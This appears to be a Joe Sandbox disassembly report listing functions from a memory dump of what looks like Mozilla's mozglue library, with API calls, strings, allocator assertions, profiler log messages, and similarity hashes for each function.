memcpy.VCRUNTIME140(?,?,?), ref: 6C510FB7
EnterCriticalSection.KERNEL32(?), ref: 6C510FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C511031
LeaveCriticalSection.KERNEL32(?), ref: 6C5110D0
EnterCriticalSection.KERNEL32(?), ref: 6C51117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C511C39
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C513391
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C5133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C513431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5137BD
MALLOC_OPTIONS, xrefs: 6C5135FE
Compile-time page size does not divide the runtime one., xrefs: 6C513946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C513559, 6C51382D, 6C513848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C513A02
MOZ_CRASH(), xrefs: 6C513950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5137A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5137D2
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C513793
<jemalloc>, xrefs: 6C513941, 6C5139F1

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction ID: b53373d5aa5099417f6ca6d7f0cb2d802ad99c7a3cd5cceec69db28c209a78ce
Opcode Fuzzy Hash: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction Fuzzy Hash: 5653B271A097018FE704CF19C954616FBE1BF86328F29C7ADE8699BB91D371E841CB81

Function 6C5355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C50E1A5), ref: 6C535606
LoadLibraryW.KERNEL32(gdi32,?,6C50E1A5), ref: 6C53560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C535633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C53563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C53566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C53567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C535696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C535716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C53572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C535748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C535761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C53577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C535793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5357FF

Strings

DeleteObject, xrefs: 6C5357F9
LoadIconW, xrefs: 6C53575B
GetThreadDpiAwarenessContext, xrefs: 6C53562D
StretchDIBits, xrefs: 6C5357CC
SetWindowPos, xrefs: 6C5356F7
ShowWindow, xrefs: 6C5356DE
GetDpiForWindow, xrefs: 6C535690
SetWindowLongPtrW, xrefs: 6C5357B7
FillRect, xrefs: 6C535729
AreDpiAwarenessContextsEqual, xrefs: 6C535637
CreateWindowExW, xrefs: 6C5356C5
GetSystemMetricsForDpi, xrefs: 6C535677
GetMonitorInfoW, xrefs: 6C5357A2
MonitorFromWindow, xrefs: 6C53578D
ReleaseDC, xrefs: 6C535742
GetWindowDC, xrefs: 6C535710
RegisterClassW, xrefs: 6C5356AC
user32, xrefs: 6C535601
gdi32, xrefs: 6C53560A
LoadCursorW, xrefs: 6C535774
EnableNonClientDpiScaling, xrefs: 6C535666
CreateSolidBrush, xrefs: 6C5357E4

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction ID: 796edcc5dd6f2a835eb140c545e75888e6ff49fd23311c8afd15b90329621664
Opcode Fuzzy Hash: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction Fuzzy Hash: B95187707013139BDB01AF359D489277BF8AB072457E66526ED56E2A02FF74C900CF68

Function 6C5334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EE2

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5361DD
Part of subcall function 6C536180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C53622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534157

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536250
Part of subcall function 6C536180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C53484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534896
free.MOZGLUE ref: 6C53489F

Strings

, xrefs: 6C534CD2

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction ID: 1bc7fa6fb82e0900ce15ae0d9c3ca598bca0578860ba7636ef2964d95a4733b6
Opcode Fuzzy Hash: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction Fuzzy Hash: F5F23B74908B80CFC725CF28C48469AFBF1BFC9358F518A5ED99997711DB329886CB42

Function 6C51F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C51F155
GetCurrentThreadId.KERNEL32 ref: 6C51F1E0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F1ED
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F212
GetCurrentThreadId.KERNEL32 ref: 6C51F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F248
GetCurrentThreadId.KERNEL32 ref: 6C51F2AE
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2BB
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2F8

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F350
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F35D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F381
GetCurrentThreadId.KERNEL32 ref: 6C51F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F3A0
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F3CF

Part of subcall function 6C51F070: GetCurrentThreadId.KERNEL32 ref: 6C51F440
Part of subcall function 6C51F070: AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
Part of subcall function 6C51F070: ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8
GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume, xrefs: 6C51F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction ID: fd6dab33ed8b61e9c747b642594b87669d17ff968bec34696eae29bed4dfd091
Opcode Fuzzy Hash: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction Fuzzy Hash: BBD1E635708204DFEB00EF64DC487AA77F5EB86328F95471AE95983F81DB715804C7AA

Function 6C4E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E671C
GetCurrentProcess.KERNEL32 ref: 6C4E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E672F
GetCurrentProcess.KERNEL32 ref: 6C4E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4E6A80
GetSystemInfo.KERNEL32(?), ref: 6C4E6ABE
__Init_thread_footer.LIBCMT ref: 6C4E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AF7

Strings

detoured.dll, xrefs: 6C4E64DA
nvdxgiwrap.dll, xrefs: 6C4E6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4E6798
nvd3d9wrap.dll, xrefs: 6C4E6500
_etoured.dll, xrefs: 6C4E64ED
user32.dll, xrefs: 6C4E6526

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction ID: 8e15aec114cd7d92f2b7387e684a5b0eab4d37ea80df763b28c2490418ce793b
Opcode Fuzzy Hash: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction Fuzzy Hash: BCF1D070E0522D8FDB20DF24CC48FDAB7B5AF4A31AF164299D919A3741D731AA85CF90

Function 6C4FD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C4FD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C4FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE315
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE37C
GetSystemInfo.KERNEL32(?), ref: 6C4FE3C7
__Init_thread_footer.LIBCMT ref: 6C4FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C4FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C4FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C4FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C4FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C4FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E768,00001388), ref: 6C4FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4FE52E
ReleaseSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE54F

Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(?), ref: 6C4ED999
Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EDA13

Strings

MALLOC_OPTIONS, xrefs: 6C4FE3FF
Compile-time page size does not divide the runtime one., xrefs: 6C4FE621
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FE560, 6C4FE58A, 6C4FE5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FE6DD
MOZ_CRASH(), xrefs: 6C4FE62B
<jemalloc>, xrefs: 6C4FE61C, 6C4FE6CC

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction ID: 2fbd2fec9a55deed0d6657ab91d470d3e08f6b48ed2f1841a27f281b1482fb45
Opcode Fuzzy Hash: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction Fuzzy Hash: C0929A71A056018FD714CF28C980F15BBE1BFC6729F2A866DE8698B791D375E842CBC1

Function 6C53C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C53C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E472

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2cdfb1ead994bd1fed14c2ddd2b557854a23ff3c887f10fbc81134bb95c135ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7933A171E0422ACFCB04CF98C8806EDBBF2FF89310F194669D959AB755E731A945CB90

Function 6C4FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C501695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C501770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C501A3E

Strings

~qMl, xrefs: 6C4FED10
~qMl, xrefs: 6C4FED13

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qMl$~qMl
API String ID: 3693777188-255395400
Opcode ID: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction ID: d6d4ad9df4256fbd43cd50f5440639ace5ed5b55fa5434d5de5cd44db3d29673
Opcode Fuzzy Hash: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction Fuzzy Hash: 29B30871E05219CFDB14CFA8C890A9DB7B2BF89304F2582A9D459EB745D730AD86CF90

Function 6C4EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C4F0D67, 6C4F0D7B, 6C4F0DAC
